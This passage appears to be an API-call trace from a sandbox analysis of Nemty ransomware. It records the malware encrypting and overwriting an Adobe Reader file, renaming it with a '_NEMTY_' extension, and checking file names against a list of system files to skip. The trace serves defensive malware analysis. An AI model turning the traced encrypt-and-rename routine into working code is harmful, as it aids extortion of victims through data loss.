lpUsedDefaultChar=0x0) returned 9 [0190.419] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Words.pdf", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Words.pdf", lpUsedDefaultChar=0x0) returned 9 [0190.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.419] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Words.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.419] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Words.pdf", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Words.pdf", lpUsedDefaultChar=0x0) returned 9 [0190.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0190.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0190.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0190.419] Sleep (dwMilliseconds=0x5) [0190.427] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25267550, dwHighDateTime=0x1d561e8)) [0190.427] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25267550, dwHighDateTime=0x1d561e8)) [0190.427] GetLastError () returned 0x12 [0190.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.427] GetLastError () returned 0x12 [0190.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.427] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0190.427] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0190.427] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0190.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63403f0 [0190.428] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x63403f0, pcchString=0x653e29c | out: pszString="kh0tUm9h5MyKph4MFrYeWtA0c5c+I9OL1RobpqpO4vvSV1c19pnDK5uJyiPTLhlc\r\nWQY3A0OV8zCwHuuYYXFcHkhqSD2KKZNFQJ/NB0yOkeWgEnYHwORQnh5g2qOHPGrL\r\nUCGtrPn0ARPfCZXsPWknsmyVivWXKNa6SBxJB+r8q1j8XQulFiKN+BJ7K8b4LcsI\r\nON/KQp5O8e7nz2cUcOeP7kn7JscunJYyQtqwkJysLRFXsdkLtnaMO+zTxS/AB6lK\r\nWkDdFc+b35HSCWaTPY31o8+5M2bb70HiMuL75dc+di+iGoT4KfA0783uM3Aud9/K\r\n2DH1G8SVqaBx8bdvEXXbJA==\r\n", pcchString=0x653e29c) returned 1 [0190.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0190.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63403f0 [0190.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.428] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\words.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.428] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=112498) returned 1 [0190.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0190.428] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.428] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x19000, lpOverlapped=0x0) returned 1 [0190.437] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.437] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x19000, lpOverlapped=0x0) returned 1 [0190.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.437] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=112498, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b772 [0190.437] WriteFile (in: hFile=0x2f0, lpBuffer=0x63403f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x63403f0*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0190.438] CloseHandle (hObject=0x2f0) returned 1 [0190.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0190.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0190.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0190.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.438] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\words.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\words.pdf._nemty_kgobjgd_")) returned 1 [0190.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0190.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0190.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0190.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0190.439] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2326adb0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2326adb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23290f10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0190.439] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0190.439] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0190.439] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0190.439] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0190.439] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0190.439] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0190.439] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0190.439] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0190.439] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0190.439] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0190.439] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0190.439] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0190.439] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0190.439] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0190.439] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0190.439] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0190.439] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0190.439] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0190.439] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0190.439] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0190.439] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0190.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0190.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0190.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0190.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0190.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0190.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0190.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0190.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0190.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0190.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0190.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340198 [0190.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0190.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.440] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2326adb0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2326adb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23290f10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0190.440] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0190.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0190.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0190.441] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2326adb0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2326adb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2326adb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0190.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0190.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0190.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0190.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0190.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0190.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0190.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0190.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0190.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0190.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0190.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0190.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0190.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0190.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0190.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0190.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0190.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0190.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0190.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0190.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0190.441] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0190.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0190.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0190.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0190.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0190.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0190.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0190.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0190.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0190.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0190.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0190.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x4f94310 [0190.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0190.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.442] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2326adb0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2326adb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2326adb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0190.442] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 